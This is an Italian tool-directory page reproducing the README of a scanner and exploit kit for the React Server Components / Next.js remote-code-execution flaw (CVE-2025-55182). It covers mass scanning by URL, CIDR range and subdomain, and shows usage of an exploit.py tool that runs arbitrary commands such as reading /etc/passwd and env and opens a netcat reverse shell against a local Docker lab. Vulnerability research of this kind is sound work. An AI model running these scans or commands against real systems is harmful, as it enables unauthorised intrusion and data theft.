Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
react2shell-scanner-CVE-2025-55182 — React2shell-web-scanner | Kitploit
Strumenti/GitHubGitHub/security-phoenix-demo/react2shell-scanner-cve-2025-55182
Gestione degli Indicatori di Compromissione (IOC)Scanner di VulnerabilitàExploitSfruttamento di Applicazioni WebThreat IntelligenceEnumerazione SottodominiApprendimento e FormazioneSviluppo PayloadLab e Pratica

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHubsecurity-phoenix-demo/react2shell-scanner-cve-2025-55182

react2shell-scanner-CVE-2025-55182

React2shell-web-scanner

Vedi Repository
28 mesi faNon ancora revisionato

React2Shell Scanner Enterprise

Scanner di vulnerabilità ad alta fedeltà per CVE-2025-55182 e CVE-2025-66478 – vulnerabilità di Esecuzione Remota di Codice in React Server Components / Next.js.

📖 Per analisi tecniche dettagliate, meccanismi di exploit e dati IOC, consulta SECURITY-RESEARCH.md


⚠️ DICHIARAZIONE DI NON RESPONSABILITÀ

Questo strumento è fornito SOLO PER SCOPI EDUCATIVI E DI TEST DI SICUREZZA AUTORIZZATI. L'accesso non autorizzato a sistemi informatici è illegale. Utilizza questi strumenti solo su sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta a testarli. Gli autori non si assumono alcuna responsabilità per un uso improprio.


🚨 Panoramica delle Vulnerabilità

CVEDescrizioneCVSS
CVE-2025-55182React Server Components Deserializzazione non sicura RCE9.8 Critico
CVE-2025-66478Next.js Server Actions RCE9.8 Critico

Pacchetti Interessati:

  • react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel: 19.1.0, 19.1.1, 19.2.0

Versioni Corrette:

  • 19.0.1, 19.1.2, 19.2.1 (per tutti i pacchetti)

✨ Caratteristiche

  • Input multi-target: URL singola, file host, range CIDR, range IP
  • Enumerazione di sottodomini: Scopri automaticamente i sottodomini
  • Riconoscimento della tecnologia: Rileva Next.js prima del test
  • Modalità di rilevamento sicura: Rilevamento tramite canale laterale senza esecuzione di codice
  • Verifica RCE: Prova di concetto basata su operazioni aritmetiche
  • Correlazione IOC: Verifica contro infrastrutture dannose note
  • Integrazione Phoenix Security: Carica i risultati sulla piattaforma Phoenix
  • Scansione concorrente: Multi-thread per scalare

📦 Installazione

Utilizzare uv (consigliato)

root@kitploit:~
# No installation needed - uv handles dependencies
uv run react2shell-scanner -u https://example.com

Utilizzare pip

root@kitploit:~
pip install requests tqdm dnspython
python3 react2shell-scanner -u https://example.com

🚀 Utilizzo

Scansione di Base

root@kitploit:~
# Single URL
python3 react2shell-scanner -u https://example.com

# Safe mode (no RCE execution)
python3 react2shell-scanner -u https://example.com --safe-check

# From host file
python3 react2shell-scanner -l targets.txt -t 50 -o results.json

# CIDR range
python3 react2shell-scanner --cidr 192.168.1.0/24 --ports 80,443,3000

# Multiple CIDR ranges
python3 react2shell-scanner --cidr 10.0.0.0/24 --cidr 172.16.0.0/24

Scansione Avanzata

root@kitploit:~
# Subdomain enumeration
python3 react2shell-scanner -u example.com --enumerate-subdomains

# Custom subdomain wordlist
python3 react2shell-scanner -u example.com --enumerate-subdomains \
    --subdomain-wordlist "app,api,admin,portal,staging"

# Custom paths
python3 react2shell-scanner -u https://example.com \
    --path / --path /_next --path /api

# Skip fingerprinting (scan everything)
python3 react2shell-scanner -l targets.txt --skip-fingerprint --force-scan

# Verbose with SSL disabled
python3 react2shell-scanner -u https://example.com -k -v

Integrazione con Phoenix Security

root@kitploit:~
# Upload findings to Phoenix
python3 react2shell-scanner -l targets.txt \
    --upload-phoenix \
    --phoenix-config .phoenix.config

# Debug mode (save payloads)
python3 react2shell-scanner -l targets.txt \
    --upload-phoenix \
    --debug

# Upload all results (not just vulnerabilities)
python3 react2shell-scanner -l targets.txt \
    --upload-phoenix \
    --all-results

🔧 Configurazione

Configurazione di Phoenix Security

Crea .phoenix.config:

root@kitploit:~
[phoenix]
client_id = your_client_id_here
client_secret = your_client_secret_here
api_base_url = https://api.demo.appsecphx.io
assessment_name = React2Shell Scanner - Web Vulnerabilities
import_type = new

Oppure usa variabili d'ambiente:

root@kitploit:~
export PHOENIX_CLIENT_ID=your_client_id
export PHOENIX_CLIENT_SECRET=your_client_secret
export PHOENIX_API_URL=https://api.demo.appsecphx.io
export PHOENIX_ASSESSMENT_NAME="React2Shell Scanner"

🧪 Laboratorio di Test

Un ambiente di test basato su Docker è incluso. Vedi Lab-instructions-sample.md per un riferimento rapido.

root@kitploit:~
# Start lab
cd test-lab/lab
docker-compose up -d

# Services:
# - Vulnerable: http://localhost:3011
# - Patched:    http://localhost:3012

# Test vulnerable instance (safe evidence collection)
python3 react2shell-scanner -u http://localhost:3011 -o evidence.json -e

# Test patched instance  
python3 react2shell-scanner -u http://localhost:3012 -o evidence.json -e

# Run full demo
./test-and-demo.sh --full-demo

⚠️ Nota: I comandi di sfruttamento (ad es. exploit.py -c "whoami") attivano RCE EFFETTIVA. Usare solo su container Docker locali a scopo di ricerca.

💻 Strumento Exploit (exploit.py)

Esegui comandi su target vulnerabili. Richiede Python 3.11+

Installazione

root@kitploit:~
cd test-lab
pip3.11 install -r requirements.txt
# Or: pip3.11 install rich-click fake-useragent rich requests

Esempi di Esecuzione di Comandi

root@kitploit:~
# Basic command execution
python3.11 exploit.py -u http://localhost:3011 -c "whoami"
# Output: nextjs

python3.11 exploit.py -u http://localhost:3011 -c "id"
# Output: uid=1001(nextjs) gid=65533(nogroup) groups=65533(nogroup)

python3.11 exploit.py -u http://localhost:3011 -c "hostname"
# Output: 99e28775bf80 (container ID)

# System enumeration
python3.11 exploit.py -u http://localhost:3011 -c "uname -a"
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/passwd"
python3.11 exploit.py -u http://localhost:3011 -c "env | head -20"

# Application reconnaissance
python3.11 exploit.py -u http://localhost:3011 -c "pwd"
# Output: /app

python3.11 exploit.py -u http://localhost:3011 -c "ls -la"
python3.11 exploit.py -u http://localhost:3011 -c "cat package.json"
python3.11 exploit.py -u http://localhost:3011 -c "node --version"

# Network information
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/hosts"
python3.11 exploit.py -u http://localhost:3011 -c "netstat -an | head -20"

# Process enumeration
python3.11 exploit.py -u http://localhost:3011 -c "ps aux"

Reverse Shell (Avanzato)

root@kitploit:~
# Get Docker network gateway
GATEWAY=$(docker network inspect lab_react-rsc-lab --format '{{range .IPAM.Config}}{{.Gateway}}{{end}}')

# Start listener (in another terminal)
nc -lvnp 4444

# Launch reverse shell
python3.11 exploit.py -u http://localhost:3011 -r -l $GATEWAY -p 4444 -P nc-mkfifo

# Available payload types: nc, nc-mkfifo, sh, bash, perl

Opzioni dell'Exploit

📊 Formati di Output

Output Console

root@kitploit:~
[VULNERABLE] https://vulnerable.example.com
    Status: 307
    Detection: rce_arithmetic_check
    
[IOC MATCH] 93.123.109.247
    IP 93.123.109.247 matches known malicious infrastructure
    
[NEXTJS] https://safe.example.com v15.0.0

[NOT VULN] https://other.example.com

Output JSON

root@kitploit:~
{
  "scan_time": "2025-12-08T10:00:00Z",
  "scanner": "React2Shell Scanner v2.0",
  "cves": ["CVE-2025-55182", "CVE-2025-66478"],
  "total_scanned": 100,
  "vulnerable_count": 3,
  "ioc_matches": 1,
  "results": [
    {
      "target": "https://vulnerable.example.com",
      "ip": "203.0.113.50",
      "fqdn": "vulnerable.example.com",
      "verdict": "VULNERABLE",
      "vulnerable": true,
      "nextjs_detected": true,
      "detection_method": "rce_arithmetic_check"
    }
  ]
}

🔍 Correlazione IOC

Lo scanner include indicatori di compromesso (IOC) noti provenienti da campagne di sfruttamento attive:

  • 32 IP dannosi da payloads-exploits/iocs.csv
  • Payload armati da payloads-exploits/weaponized-payloads
  • IOC estesi includendo domini, URL, hash di file e wallet di criptovalute in payloads-exploits/iocs_patterns.csv

Le corrispondenze IOC rilevate vengono contrassegnate con alta severità.

File IOC

FileContenuto
iocs.csv32 IP dannosi noti con dati di geolocalizzazione

🛡️ Metodi di Rilevamento

Controllo Side-Channel Sicuro (--safe-check)

  • Invia un payload malformato che innesca una risposta di errore
  • Nessuna esecuzione di codice sul target
  • Rileva se il target ha deserializzazione vulnerabile
  • Consigliato per ricognizione passiva

Controllo Aritmetico RCE (predefinito)

  • Invia un payload che esegue echo $((41*271))
  • Verifica che la risposta contenga il risultato calcolato (11111)
  • Conferma l'effettiva capacità di esecuzione di codice
  • Da usare solo su target autorizzati

📁 Struttura del Progetto

root@kitploit:~
react2shell-scanner-CVE-2025-55182/
├── react2shell-scanner          # Main scanner script
├── cve-2025-66478-web-scan     # Original scanner reference
├── nuclei-rules                 # Nuclei template
├── test-and-demo.sh            # Test automation
├── README.md                    # This file
├── SECURITY-RESEARCH.md         # Detailed technical analysis
├── Lab-instructions-sample.md   # Quick lab testing guide
├── payloads-exploits/
│   ├── iocs.csv                 # Known malicious IPs
│   ├── iocs_patterns.csv        # Extended IOCs (domains, URLs, hashes)
│   ├── weaponized-payloads      # Real-world attack payloads
│   └── exploit-2025-55182       # Raw HTTP exploit request
└── test-lab/
    ├── exploit.py               # Exploitation tool
    ├── lab/
    │   ├── docker-compose.yml
    │   ├── vulnerable/          # Vulnerable Next.js app
    │   └── patched/             # Patched Next.js app
    └── packages/
        ├── vulnerable/          # Vulnerable npm packages
        └── patched/             # Patched npm packages

🔗 Repository Correlati

RepositoryScopo
react2shell-scanner-CVE-2025-55182Laboratori, scanner ed exploit (questo repository)
react2shell-scanner-rce-react-nextScanner completo con interfaccia web

⚠️ Dichiarazione Legale

Questo strumento è fornito solo per test di sicurezza autorizzati. Devi avere esplicita autorizzazione scritta prima di scansionare qualsiasi target. La scansione non autorizzata può violare le leggi sui crimini informatici.

Usa responsabilmente:

  • Scansiona solo sistemi di tua proprietà o per i quali hai autorizzazione a testarli
  • Documenta la tua autorizzazione
  • Segnala le vulnerabilità attraverso i canali appropriati
  • Segui le pratiche di divulgazione responsabile

📚 Riferimenti

  • CVE-2025-55182 Advisory
  • React Security Blog
  • Next.js Security Advisory GHSA-9qr9-h5gf-34mp
  • Vercel Changelog
  • Assetnote Research

🙏 Crediti

  • Assetnote Security Research Team – Ricerca originale della vulnerabilità
  • Chocapikk – Sviluppo dell'exploit
  • Phoenix Security – Integrazione con la piattaforma

Offerto da ricercatori di sicurezza che lavorano per rendere il web più sicuro.

Scarica lo strumento
OpzioneDescrizione
-u, --urlURL del target (obbligatorio)
-c, --cmdComando da eseguire
-r, --reverseAbilita modalità reverse shell
-l, --lhostHost di ascolto per reverse shell
-p, --lportPorta di ascolto per reverse shell
-P, --payloadTipo di payload: nc, nc-mkfifo, sh, bash, perl
--timeoutTimeout della richiesta (default: 10s)
iocs_patterns.csvIOC estesi: domini C2, URL dropper, hash malware, wallet Monero
weaponized-payloadsPayload di attacco reali osservati in campagne di sfruttamento attive
exploit-2025-55182Formato richiesta HTTP grezza per l'exploit